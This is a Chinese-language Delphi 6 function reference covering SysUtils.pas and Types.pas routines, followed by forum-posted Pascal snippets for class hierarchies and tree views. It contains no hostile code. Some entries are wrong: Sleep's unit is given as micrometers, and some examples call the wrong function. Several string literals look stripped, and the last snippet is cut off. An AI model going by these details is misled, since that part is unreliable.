━━━━━━━━━━━━━━━━━━━━━

首部 function GetProcAddress(Module: HMODULE; Proc: PChar): Pointer; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function GetModuleHandle(ModuleName: PChar): HMODULE; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function GetPackageModuleHandle(PackageName: PChar): HMODULE; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure Sleep(milliseconds: Cardinal);{$IFDEF MSWINDOWS} stdcall; {$ENDIF} $[SysUtils.pas

功能 让程序休眠一段时间

说明 以微米为单位

参考 <NULL>

例子 Sleep(3000);

━━━━━━━━━━━━━━━━━━━━━

首部 function GetModuleName(Module: HMODULE): string; $[SysUtils.pas

功能 返回动态连接库的名称

说明 如果参数为0则返回当前程序的名称

参考 function Windows.GetModuleFileName

例子

///////Begin GetModuleName

procedure TForm1.Button1Click(Sender: TObject);

var

vHandle: THandle;

begin

vHandle := LoadLibrary(PChar(Edit1.Text));

Caption := GetModuleName(vHandle);

FreeLibrary(vHandle);

end;

///////End GetModuleName

━━━━━━━━━━━━━━━━━━━━━

首部 function ExceptionErrorMessage(ExceptObject: TObject; ExceptAddr: Pointer; Buffer: PChar; Size: Integer): Integer; $[SysUtils.pas

功能 返回操作指针失败的信息长度

说明 信息放在缓冲Buffer中

参考 function Windows.VirtualQuery;function Windows.GetModuleFilename

例子

///////Begin ExceptionErrorMessage

procedure TForm1.Button1Click(Sender: TObject);

var

vBuffer: array[0..255] of Char;

begin

ExceptionErrorMessage(Self, Self, vBuffer, 255);

Caption := vBuffer;

end;

///////End ExceptionErrorMessage

━━━━━━━━━━━━━━━━━━━━━

首部 procedure ShowException(ExceptObject: TObject; ExceptAddr: Pointer); $[SysUtils.pas

功能 提示一个操作指针失败的错误

说明 支持控制台程序

参考 function SysUtils.ExceptionErrorMessage;var System.IsConsole;function System.FindResourceHInstance

例子 ShowException(Self, Self);

━━━━━━━━━━━━━━━━━━━━━

首部 procedure Abort; $[SysUtils.pas

功能 引起放弃的意外处理

说明 不显示任何错误信息

参考 type SysUtils.EAbort

例子 Abort;

━━━━━━━━━━━━━━━━━━━━━

首部 procedure OutOfMemoryError; $[SysUtils.pas

功能 触发内存益出异常

说明 <NULL>

参考 var SysUtils.OutOfMemory

例子 OutOfMemoryError;

━━━━━━━━━━━━━━━━━━━━━

首部 procedure Beep; $[SysUtils.pas

功能 触发计算机出声

说明 MessageBeep(0);

参考 function Windows.MessageBeep

例子 Beep;

━━━━━━━━━━━━━━━━━━━━━

首部 function ByteType(const S: string; Index: Integer): TMbcsByteType; $[SysUtils.pas

功能 返回字符串S位置Index上的字符在MBCS中类型

说明 多字节字符系统:Multi-Byte Character System (MBCS)

参考 var SysUtils.SysLocale

例子 SpinEdit1.Value := Ord(ByteType(Edit1.Text, SpinEdit2.Value));

━━━━━━━━━━━━━━━━━━━━━

首部 function StrByteType(Str: PChar; Index: Cardinal): TMbcsByteType; $[SysUtils.pas

功能 返回指针字符串Str位置Index上的字符在MBCS中类型

说明 Index从0开始

参考 var SysUtils.SysLocale

例子 SpinEdit1.Value := Ord(StrByteType(PChar(Edit1.Text), SpinEdit2.Value));

━━━━━━━━━━━━━━━━━━━━━

首部 function ByteToCharLen(const S: string; MaxLen: Integer): Integer; $[SysUtils.pas

功能 返回字符串S中有多少个多字节字符

说明 MaxLen指定处理字符个数

参考 function SysUtils.ByteToCharIndex

例子 SpinEdit1.Value := ByteToCharLen(Edit1.Text, SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function CharToByteLen(const S: string; MaxLen: Integer): Integer; $[SysUtils.pas

功能 返回字符串S中有多少个字符

说明 MaxLen指定处理多字节字符个数

参考 var SysUtils.SysLocale

例子 SpinEdit1.Value := CharToByteLen(Edit1.Text, SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function ByteToCharIndex(const S: string; Index: Integer): Integer; $[SysUtils.pas

功能 返回字符位置对应的多字节字符位置

说明 ByteToCharIndex('你好', 2) = 1;ByteToCharIndex('你好', 3) = 2

参考 function SysUtils.NextCharIndex

例子 SpinEdit1.Value := ByteToCharIndex(Edit1.Text, SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function CharToByteIndex(const S: string; Index: Integer): Integer; $[SysUtils.pas

功能 返回多字节字符位置对应的字符起始位置

说明 CharToByteIndex('你好', 1) = 1;CharToByteIndex('你好', 2) = 3

参考 function System.Length

例子 SpinEdit1.Value := CharToByteIndex(Edit1.Text, SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function StrCharLength(const Str: PChar): Integer; $[SysUtils.pas

功能 返回第一个字符的宽度

说明 参数为空则返回0

参考 function Windows.CharNext

例子 SpinEdit1.Value := StrCharLength(PChar(Edit1.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function StrNextChar(const Str: PChar): PChar; $[SysUtils.pas

功能 返回字符指针Str的下一个字符指针

说明 StrNextChar('1234') = '234';

参考 function Windows.CharNext

例子 Edit2.Text := StrNextChar(PChar(Edit1.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function CharLength(const S: String; Index: Integer): Integer; $[SysUtils.pas

功能 返回字符串中指定位置的字符宽度

说明 CharLength('English汉', 1) = 1;CharLength('English汉', 8) = 2

参考 function System.Assert;function SysUtils.StrCharLength

例子 SpinEdit1.Value := CharLength(Edit1.Text, SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function NextCharIndex(const S: String; Index: Integer): Integer; $[SysUtils.pas

功能 返回下一个字符的位置

说明 CharLength('你好', 1) = 3;CharLength('你好', 3) = 5

参考 function System.Assert;function SysUtils.StrCharLength

例子 SpinEdit1.Value := NextCharIndex(Edit1.Text, SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function IsPathDelimiter(const S: string; Index: Integer): Boolean; $[SysUtils.pas

功能 返回字符串S中指定位置Index上是否是一个路径分隔符

说明 IsPathDelimiter('C:', 3) = True

参考 const SysUtils.PathDelim;function SysUtils.ByteType

例子 CheckBox1.Checked := IsPathDelimiter(Edit1.Text, SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function IsDelimiter(const Delimiters, S: string; Index: Integer): Boolean; $[SysUtils.pas

功能 返回字符串S中指定位置Index上是否是一个分隔符Delimiters

说明 IsDelimiter('@', 'wjhu111@21cn.com', 8) = True

参考 function SysUtils.ByteType

例子 CheckBox1.Checked := IsDelimiter(Edit1.Text, Edit2.Text, SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function IncludeTrailingPathDelimiter(const S: string): string; $[SysUtils.pas

功能 返回包括最后路径分隔符

说明 最后一个字符是路径分隔符则不变;否则加上一个路径分隔符返回

参考 function SysUtils.IsPathDelimiter;function System.Length

例子 Edit1.Text := IncludeTrailingPathDelimiter(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function IncludeTrailingBackslash(const S: string): string; platform; $[SysUtils.pas

功能 返回包括最后斜线

说明 Result := IncludeTrailingPathDelimiter(S);

参考 function SysUtils.IncludeTrailingPathDelimiter

例子 Edit1.Text := IncludeTrailingBackslash(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ExcludeTrailingPathDelimiter(const S: string): string; $[SysUtils.pas

功能 返回排除最后路径分隔符

说明 最后一个字符不是路径分隔符则不变;否则减去最后的路径分隔符返回

参考 function SysUtils.IsPathDelimiter;function System.Length;function System.SetLength

例子 Edit1.Text := ExcludeTrailingPathDelimiter(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ExcludeTrailingBackslash(const S: string): string; platform; $[SysUtils.pas

功能 返回排除最后斜线

说明 Result := ExcludeTrailingPathDelimiter(S)

参考 function SysUtils.ExcludeTrailingPathDelimiter

例子 Edit1.Text := ExcludeTrailingBackslash(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function LastDelimiter(const Delimiters, S: string): Integer; $[SysUtils.pas

功能 返回最后一个分隔符的位置

说明 LastDelimiter('.', 'kingron.myetang.com') = 16

参考 function SysUtils.StrScan;function SysUtils.ByteType

例子 SpinEdit1.Value := LastDelimiter(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiCompareFileName(const S1, S2: string): Integer; $[SysUtils.pas

功能 返回比较两个文件名

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;区分大小写

参考 function SysUtils.AnsiCompareStr

例子 SpinEdit1.Value := AnsiCompareFileName(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function SameFileName(const S1, S2: string): Boolean; $[SysUtils.pas

功能 返回两个文件名是否相等

说明 区分大小写

参考 function SysUtils.AnsiCompareFileName

例子 CheckBox1.Checked := SameFileName(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiLowerCaseFileName(const S: string): string; $[SysUtils.pas

功能 返回小写文件名

说明 在非多字节字符系统上相当于AnsiLowerCase

参考 function SysUtils.AnsiLowerCase

例子 Edit2.Text := AnsiLowerCaseFileName(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiUpperCaseFileName(const S: string): string; $[SysUtils.pas

功能 返回大写文件名

说明 在非多字节字符系统上相当于AnsiUpperCase

参考 function SysUtils.AnsiUpperCase

例子 Edit2.Text := AnsiUpperCaseFileName(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiPos(const Substr, S: string): Integer; $[SysUtils.pas

功能 返回子串Substr在字符中第一次出现的位置

说明 不存在则返回0

参考 SysUtils.AnsiStrPos

例子 SpinEdit1.Value := AnsiPos(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStrPos(Str, SubStr: PChar): PChar; $[SysUtils.pas

功能 返回指针子串Substr在指针字符中第一次出现的指针位置

说明 不存在则返回nil

参考 function SysUtils.StrByteType

例子 Edit3.Text := AnsiStrPos(PChar(Edit1.Text), PChar(Edit2.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStrRScan(Str: PChar; Chr: Char): PChar; $[SysUtils.pas

功能 返回在指针字符串Str搜索字符Chr最后一个出现的地址

说明 支持多字节字符系统;AnsiStrRScan('kingron.myetang.com', '.') = '.com'

参考 function SysUtils.AnsiStrScan

例子 Edit2.Text := AnsiStrScan(PChar(Edit1.Text), '.');

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStrScan(Str: PChar; Chr: Char): PChar; $[SysUtils.pas

功能 返回在指针字符串Str搜索字符Chr第一个出现的地址

说明 支持多字节字符系统;AnsiStrRScan('kingron.myetang.com', '.') = '.myetang.com'

参考 function SysUtils.StrScan

例子 Edit2.Text := AnsiStrScan(PChar(Edit1.Text), '.');

━━━━━━━━━━━━━━━━━━━━━

首部 function StringReplace(const S, OldPattern, NewPattern: string; Flags: TReplaceFlags): string; $[SysUtils.pas

功能 返回替换后的字符串

说明 rfReplaceAll为替换全部内容;rfIgnoreCase为忽略大小写

参考 function SysUtils.AnsiUpperCase;function SysUtils.AnsiPos;function System.Copy

例子

///////Begin StringReplace

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo1.Lines.Values['[]'] :=

StringReplace(Edit1.Text, Edit2.Text, Edit3.Text, []);

Memo1.Lines.Values['[rfReplaceAll]'] :=

StringReplace(Edit1.Text, Edit2.Text, Edit3.Text, [rfReplaceAll]);

Memo1.Lines.Values['[rfIgnoreCase]'] :=

StringReplace(Edit1.Text, Edit2.Text, Edit3.Text, [rfIgnoreCase]);

Memo1.Lines.Values['[rfReplaceAll, rfIgnoreCase]'] :=

StringReplace(Edit1.Text, Edit2.Text, Edit3.Text, [rfReplaceAll, rfIgnoreCase]);

end;

///////End StringReplace

━━━━━━━━━━━━━━━━━━━━━

首部 function WrapText(const Line, BreakStr: string; const BreakChars: TSysCharSet; MaxCol: Integer): string; overload; $[SysUtils.pas

首部 function WrapText(const Line: string; MaxCol: Integer = 45): string; overload; $[SysUtils.pas

功能 返回对字符串自动换行

说明 Result := WrapText(Line, sLineBreak, [' ', '-', #9], MaxCol);

参考 function SysUtils.CharLength;function SysUtils.CompareText

例子 Memo1.Text := WrapText(Memo2.Text, SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function FindCmdLineSwitch(const Switch: string; const Chars: TSysCharSet; IgnoreCase: Boolean): Boolean; overload; $[SysUtils.pas

首部 function FindCmdLineSwitch(const Switch: string): Boolean; overload; $[SysUtils.pas

首部 function FindCmdLineSwitch(const Switch: string; IgnoreCase: Boolean): Boolean; overload; $[SysUtils.pas

功能 返回程序命令参数是否找到

说明 Result := FindCmdLineSwitch(Switch, SwitchChars, True);

参考 function System.ParamCount;function System.ParamStr;function SysUtils.AnsiCompareText

例子 CheckBox1.Checked := FindCmdLineSwitch(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 procedure FreeAndNil(var Obj); $[SysUtils.pas

功能 释放对象Obj并赋为空

说明 如果对象已经释放资源将触发异常

参考 type System.TObject

例子

///////Begin FreeAndNil

procedure TForm1.Button1Click(Sender: TObject);

var

Temp: TObject;

begin

Temp := TObject.Create;

Temp.Free;

ShowMessage(Format('%p', [Pointer(Temp)]));

Temp := TObject.Create;

FreeAndNil(Temp);

ShowMessage(Format('%p', [Pointer(Temp)]));

end;

///////End FreeAndNil

━━━━━━━━━━━━━━━━━━━━━

首部 function Supports(const Instance: IInterface; const IID: TGUID; out Intf): Boolean; overload; $[SysUtils.pas

首部 function Supports(const Instance: TObject; const IID: TGUID; out Intf): Boolean; overload; $[SysUtils.pas

首部 function Supports(const Instance: IInterface; const IID: TGUID): Boolean; overload; $[SysUtils.pas

首部 function Supports(const Instance: TObject; const IID: TGUID): Boolean; overload; $[SysUtils.pas

首部 function Supports(const AClass: TClass; const IID: TGUID): Boolean; overload; $[SysUtils.pas

功能 返回对象是否支持指定的接口

说明 Result := AClass.GetInterfaceEntry(IID) <> nil;

参考 type System.TObject

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function CreateGUID(out Guid: TGUID): HResult; $[SysUtils.pas

功能 返回创建全局标识是否成功

说明 返回S_OK表示成功

参考 function Windows.CoCreateGuid

例子

///////Begin CreateGUID

procedure TForm1.Button1Click(Sender: TObject);

var

vGUID: TGUID;

begin

CreateGUID(vGUID);

Edit1.Text := GUIDToString(vGUID);

end;

///////End CreateGUID

━━━━━━━━━━━━━━━━━━━━━

首部 function StringToGUID(const S: string): TGUID; $[SysUtils.pas

功能 返回字符串S转换成全局标识

说明 如果字符串非法将触发异常

参考 fuction Windows.Succeeded

例子 Edit2.Text := GUIDToString(StringToGUID(Edit1.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function GUIDToString(const GUID: TGUID): string; $[SysUtils.pas

功能 返回全局标识GUID转换成字符串

说明 <NULL>

参考 fuction Windows.Succeeded

例子 Edit2.Text := GUIDToString(StringToGUID(Edit1.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function IsEqualGUID(const guid1, guid2: TGUID): Boolean; $[SysUtils.pas

功能 返回两个全局标识是否相同

说明 function IsEqualGUID; external 'ole32.dll' name 'IsEqualGUID';

参考 <NULL>

例子 CheckBox1.Checked := IsEqualGUID(StringToGUID(Edit1.Text), StringToGUID(Edit2.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function LoadPackage(const Name: string): HMODULE; $[SysUtils.pas

功能 返回载入包资源

说明 <NULL>

参考 function SysUtils.SafeLoadLibrary;function SysUtils.InitializePackage;function Windows.FreeLibrary

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure UnloadPackage(Module: HMODULE); $[SysUtils.pas

功能 取消载入包资源

说明 <NULL>

参考 function SysUtils.FinalizePackage;function Windows.FreeLibrary

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure GetPackageInfo(Module: HMODULE; Param: Pointer; var Flags: Integer; InfoProc: TPackageInfoProc); $[SysUtils.pas

功能 返回包的信息

说明 <NULL>

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function GetPackageDescription(ModuleName: PChar): string; $[SysUtils.pas

功能 返回包的描述

说明 <NULL>

参考 function System.LoadResourceModule;function Windows.LoadLibraryEx

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure InitializePackage(Module: HMODULE); $[SysUtils.pas

功能 初始化包

说明 <NULL>

参考 function Windos.GetProcAddress

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure FinalizePackage(Module: HMODULE); $[SysUtils.pas

功能 终止化包

说明 <NULL>

参考 function Windos.GetProcAddress

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure RaiseLastOSError; $[SysUtils.pas

功能 触发操作系统的最后一个异常

说明 如果没有出现异常则默认调用Api函数异常

参考 function Windows.GetLastError

例子 RaiseLastOSError;

━━━━━━━━━━━━━━━━━━━━━

首部 procedure RaiseLastWin32Error; deprecated; $[SysUtils.pas

功能 触发Win32系统的最后一个异常

说明 如果没有出现异常则默认调用Api函数异常

参考 function SysUtils.RaiseLastOSError;

例子 RaiseLastWin32Error;

━━━━━━━━━━━━━━━━━━━━━

首部 function Win32Check(RetVal: BOOL): BOOL; platform; $[SysUtils.pas

功能 返回检测调用系统Api函数返回结果

说明 如果RetVal为False则触发异常

参考 function SysUtils.RaiseLastOSError

例子 CheckBox2.Checked := Win32Check(CheckBox1.Checked);

━━━━━━━━━━━━━━━━━━━━━

首部 procedure AddTerminateProc(TermProc: TTerminateProc); $[SysUtils.pas

功能 添加一个退出过程到系统中

说明 执行AddTerminateProc(nil)将导致系统异常

参考 const System.TerminateProcList

例子

///////Begin AddTerminateProc

function NewTerminateProc: Boolean;

begin

Result := True;

ShowMessage('NewTerminateProc');

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

AddTerminateProc(NewTerminateProc);

end;

///////End AddTerminateProc

━━━━━━━━━━━━━━━━━━━━━

首部 function CallTerminateProcs: Boolean; $[SysUtils.pas

功能 返回调用退出过程是否成功

说明 不建议调用

参考 const System.TerminateProcList

例子 CallTerminateProcs;

━━━━━━━━━━━━━━━━━━━━━

首部 function GDAL: LongWord; $[SysUtils.pas

功能 <NULL>

说明 <NULL>

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure RCS; $[SysUtils.pas

功能 <NULL>

说明 <NULL>

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure RPR; $[SysUtils.pas

功能 <NULL>

说明 <NULL>

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function SafeLoadLibrary(const Filename: string; ErrorMode: UINT = SEM_NOOPENFILEERRORBOX): HMODULE; $[SysUtils.pas

功能 返回安全方式载入动态连接库资源

说明 <参见LoadLibrary>

参考 function Windows.LoadLibrary

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function GetEnvironmentVariable(const Name: string): string; overload; $[SysUtils.pas

功能 返回过程环境变量

说明 配合SetEnvironmentVariable函数使用

参考 function Windows.GetEnvironmentVariable

例子 Edit1.Text := GetEnvironmentVariable(Edit2.Text);

///////Begin GetEnvironmentVariable

procedure TForm1.Button1Click(Sender: TObject);

begin

SetEnvironmentVariable(PChar(Edit2.Text), PChar(Edit3.Text));

Edit1.Text := GetEnvironmentVariable(Edit2.Text);

end;

///////End GetEnvironmentVariable

━━━━━━━━━━━━━━━━━━━━━

首部 function InterlockedIncrement(var I: Integer): Integer; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function InterlockedDecrement(var I: Integer): Integer; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function InterlockedExchange(var A: Integer; B: Integer): Integer; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function InterlockedExchangeAdd(var A: Integer; B: Integer): Integer; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━


Delphi6函数大全-Types.pas
(*//

标题:<<Delphi6函数大全-Types.pas>>

格式:text

大小:3816

制作:Zswang

日期:2002-04-19

//*)

首部 function EqualRect(const R1, R2: TRect): Boolean; $[Types.pas

功能 返回两个矩形区域是否相等

说明 Result := (R1.Left = R2.Left) and (R1.Right = R2.Right) and (R1.Top = R2.Top) and (R1.Bottom = R2.Bottom);

参考 <NULL>

例子 CheckBox1.Checked := EqualRect(Bevel1.BoundsRect, Bevel2.BoundsRect);

━━━━━━━━━━━━━━━━━━━━━

首部 function Rect(Left, Top, Right, Bottom: Integer): TRect; $[Types.pas

功能 返回左、顶、右、底部位置相应的矩形区域

说明 如果左界大于右界或底部小于顶部则区域将看作非法,但不触发异常

参考 <NULL>

例子 Bevel1.BoundsRect := Rect(SpinEdit1.Value, SpinEdit2.Value, SpinEdit3.Value, SpinEdit4.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function Bounds(ALeft, ATop, AWidth, AHeight: Integer): TRect; $[Types.pas

功能 返回左、上位置急及宽度、高度相应的矩形区域

说明 <NULL>

参考 <NULL>

例子 Bevel1.BoundsRect := Bounds(SpinEdit1.Value, SpinEdit2.Value, SpinEdit3.Value, SpinEdit4.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function Point(X, Y: Integer): TPoint; $[Types.pas

功能 返回坐标相应的点

说明 <NULL>

参考 <NULL>

例子 Mouse.CursorPos := Point(SpinEdit1.Value, SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function PtInRect(const Rect: TRect; const P: TPoint): Boolean; $[Types.pas

功能 返回矩形区域Rect中是否包含点P

说明 Result := (P.X >= Rect.Left) and (P.X < Rect.Right) and (P.Y >= Rect.Top) and (P.Y < Rect.Bottom);

参考 <NULL>

例子 CheckBox1.Checked := PtInRect(BoundsRect, Mouse.CursorPos);

━━━━━━━━━━━━━━━━━━━━━

首部 function IntersectRect(out Rect: TRect; const R1, R2: TRect): Boolean; $[Types.pas

功能 返回获取两个矩形区域交接是否成功

说明 当交接失败时则返回False并且Rect将设置为空

参考 function Types.IsRectEmpty;procedure System.FillChar;function System.SizeOf

例子

///////Begin IntersectRect

procedure TForm1.Button1Click(Sender: TObject);

var

vRect: TRect;

begin

IntersectRect(vRect, Bevel1.BoundsRect, Bevel2.BoundsRect);

Canvas.Brush.Color := clRed;

Canvas.FillRect(vRect);

end;

///////End IntersectRect

━━━━━━━━━━━━━━━━━━━━━

首部 function UnionRect(out Rect: TRect; const R1, R2: TRect): Boolean; $[Types.pas

功能 返回获取两个矩形区域联合是否成功

说明 <NULL>

参考 function Types.IsRectEmpty;procedure System.FillChar;function System.SizeOf

例子 当联合失败时则返回False并且Rect将设置为空

///////Begin UnionRect

procedure TForm1.Button1Click(Sender: TObject);

var

vRect: TRect;

begin

UnionRect(vRect, Bevel1.BoundsRect, Bevel2.BoundsRect);

Canvas.Brush.Color := clRed;

Canvas.FillRect(vRect);

end;

///////End UnionRect

━━━━━━━━━━━━━━━━━━━━━

首部 function IsRectEmpty(const Rect: TRect): Boolean; $[Types.pas

功能 返回矩形区域是否为空

说明 Result := (Rect.Right <= Rect.Left) or (Rect.Bottom <= Rect.Top);

参考 <NULL>

例子 CheckBox1.Checked := IsRectEmpty(Bevel1.BoundsRect);

━━━━━━━━━━━━━━━━━━━━━

首部 function OffsetRect(var Rect: TRect; DX: Integer; DY: Integer): Boolean; $[Types.pas

功能 返回偏移一个矩形区域Rect是否成功

说明 参数DX指定横向偏移量;参数DY指定竖向偏移量

参考 function System.Inc

例子

///////Begin OffsetRect

procedure TForm1.Button1Click(Sender: TObject);

var

vRect: TRect;

begin

vRect := BoundsRect;

OffsetRect(vRect, 10, 10);

BoundsRect := vRect;

end;

///////End OffsetRect

━━━━━━━━━━━━━━━━━━━━━

首部 function CenterPoint(const Rect: TRect): TPoint; $[Types.pas

功能 返回矩形区域中心的坐标

说明 <NULL>

参考 <NULL>

例子 Mouse.CursorPos := CenterPoint(BoundsRect);

━━━━━━━━━━━━━━━━━━━━━


VCL继承层次
Zswang：

///在窗体上面放上尽可能多的控件看看？

uses TypInfo;

function ClassHierarchy(mClass: TClass; mDelimiter: string = '): string;

begin

Result := '';

while Assigned(mClass) do begin

Result := mClass.ClassName + mDelimiter + Result;

mClass := mClass.ClassParent;

end;

Delete(Result, Length(Result) - Length(mDelimiter) + 1, MaxInt);

end; { ClassHierarchy }

function StrLeft(const mStr: string; mDelimiter: string): string;

begin

Result := Copy(mStr, 1, Pos(mDelimiter, mStr) - 1);

end; { StrLeft }

function StrRight(const mStr: string; mDelimiter: string): string;

begin

if Pos(mDelimiter, mStr) <= 0 then

Result := ''

else Result := Copy(mStr, Pos(mDelimiter, mStr) + Length(mDelimiter), MaxInt);

end; { StrRight }

function ListCount(mList: string; mDelimiter: string = ','): Integer;

var

I, L: Integer;

begin

Result := 0;

if mList = '' then Exit;

L := Length(mList);

I := Pos(mDelimiter, mList);

while I > 0 do begin

mList := Copy(mList, I + Length(mDelimiter), L);

I := Pos(mDelimiter, mList);

Inc(Result);

end;

Inc(Result);

end; { ListCount }

function ListValue(mList: string; mIndex: Integer; mDelimiter: string = ','): string;

var

I, L, K: Integer;

begin

L := Length(mList);

I := Pos(mDelimiter, mList);

K := 0;

Result := '';

while (I > 0) and (K <> mIndex) do begin

mList := Copy(mList, I + Length(mDelimiter), L);

I := Pos(mDelimiter, mList);

Inc(K);

end;

if K = mIndex then Result := StrLeft(mList + mDelimiter, mDelimiter);

end; { ListValue }

function TreeNodeString(mTreeNode: TTreeNode; mDelimiter: string = '): string;

begin

Result := '';

while Assigned(mTreeNode) do begin

Result := mTreeNode.Text + mDelimiter + Result;

mTreeNode := mTreeNode.Parent;

end;

Delete(Result, Length(Result) - Length(mDelimiter) + 1, MaxInt);

end; { TreeNodeString }

function TreeViewToLineText(mTreeView: TTreeView; mStrings: TStrings;

mDelimiter: string = '): Boolean;

var

I: Integer;

begin

Result := False;

if not (Assigned(mTreeView) and Assigned(mStrings)) then Exit;

mStrings.Clear;

for I := 0 to mTreeView.Items.Count - 1 do

if mTreeView.Items[I].Count = 0 then

mStrings.Add(TreeNodeString(mTreeView.Items[I], mDelimiter));

Result := True;

end; { TreeViewToLineText }

function LineTextToTreeView(mStrings: TStrings; mTreeView: TTreeView;

mDelimiter: string = '): Boolean;

var

I, J, K: Integer;

vStrPath: string;

vStrText: string;

vTreeNode: TTreeNode;

vBoolFind: Boolean;

begin

Result := False;

if not (Assigned(mTreeView) and Assigned(mStrings)) then Exit;

mTreeView.Items.Clear;

for I := 0 to mStrings.Count - 1 do begin

vStrPath := '';

vTreeNode := nil;

for J := 0 to ListCount(mStrings[I], mDelimiter) - 1 do begin

vStrText := ListValue(mStrings[I], J, mDelimiter);

vStrPath := vStrPath + mDelimiter + vStrText;

vBoolFind := False;

for K := 0 to mTreeView.Items.Count - 1 do

if mDelimiter + TreeNodeString(mTreeView.Items[K], mDelimiter) =

vStrPath then begin

vTreeNode := mTreeView.Items[K];

vBoolFind := True;

Break;

end;

if vBoolFind then Continue;

vTreeNode := mTreeView.Items.AddChild(vTreeNode, vStrText);

end;

end;

Result := True;

end; { LineTextToTreeView }

procedure TForm1.FormCreate(Sender: TObject);

var

I: Integer;

begin

Memo1.WordWrap := False;

Memo1.Clear;

for I := 0 to ComponentCount - 1 do

Memo1.Lines.Add(ClassHierarchy(Components[I].ClassType));

LineTextToTreeView(Memo1.Lines, TreeView1);

TreeView1.SaveToFile('c:.txt');

end;


网友zswang提供的几个函数
zswang(zs)　(2001-4-23 14:52:00) 得0分

//我回送你几个我的宝宝函数

procedure ZsDataSetToTreeView(mDataSet: TDataSet; mTreeView: TTreeView);

{ 将数据源转换成可视树 }

type

TArrayTreeNode = array of TTreeNode;

var

vFieldCount: Integer;

vStringList: TStringList;

procedure pZsDataToTreeNode(mArrayTreeNode: TArrayTreeNode;

mIndex: Integer; mValueList: string);

var

vTreeNode, vTempTreeNode: TTreeNode;

vStr, S, vTemp: string;

I: Integer;

vArrayTreeNode: TArrayTreeNode;

begin

vTemp := mValueList;

vStringList.Text := mValueList;

vStr := #13#10;

vTreeNode := nil;

if mIndex < vStringList.Count then begin

if (Pred(mIndex) >= Low(mArrayTreeNode)) and (Pred(mIndex) < High(mArrayTreeNode))then

vTreeNode := mArrayTreeNode[Pred(mIndex)];

vStr := vStringList[mIndex];

end;

vArrayTreeNode := mArrayTreeNode;

with mDataSet do while not Eof do begin

S := FieldByName(FieldDefs[mIndex].Name).AsString;

if (vStr = #13#10) or (vStr <> S) or (mIndex = Pred(vFieldCount)) then

begin

vTreeNode := mTreeView.Items.AddChild(vTreeNode,

FieldByName(FieldDefs[mIndex].Name).AsString);

vStr := S;

vTempTreeNode := vTreeNode;

SetLength(vArrayTreeNode, vFieldCount);

vArrayTreeNode[mIndex] := vTempTreeNode;

for I := Succ(mIndex) to Pred(vFieldCount) do begin

vTempTreeNode := mTreeView.Items.AddChild(vTempTreeNode,

FieldByName(FieldDefs[I].Name).AsString);

vArrayTreeNode[I] := vTempTreeNode;

end;

vStringList.Clear;

for I := 0 to Pred(vFieldCount) do

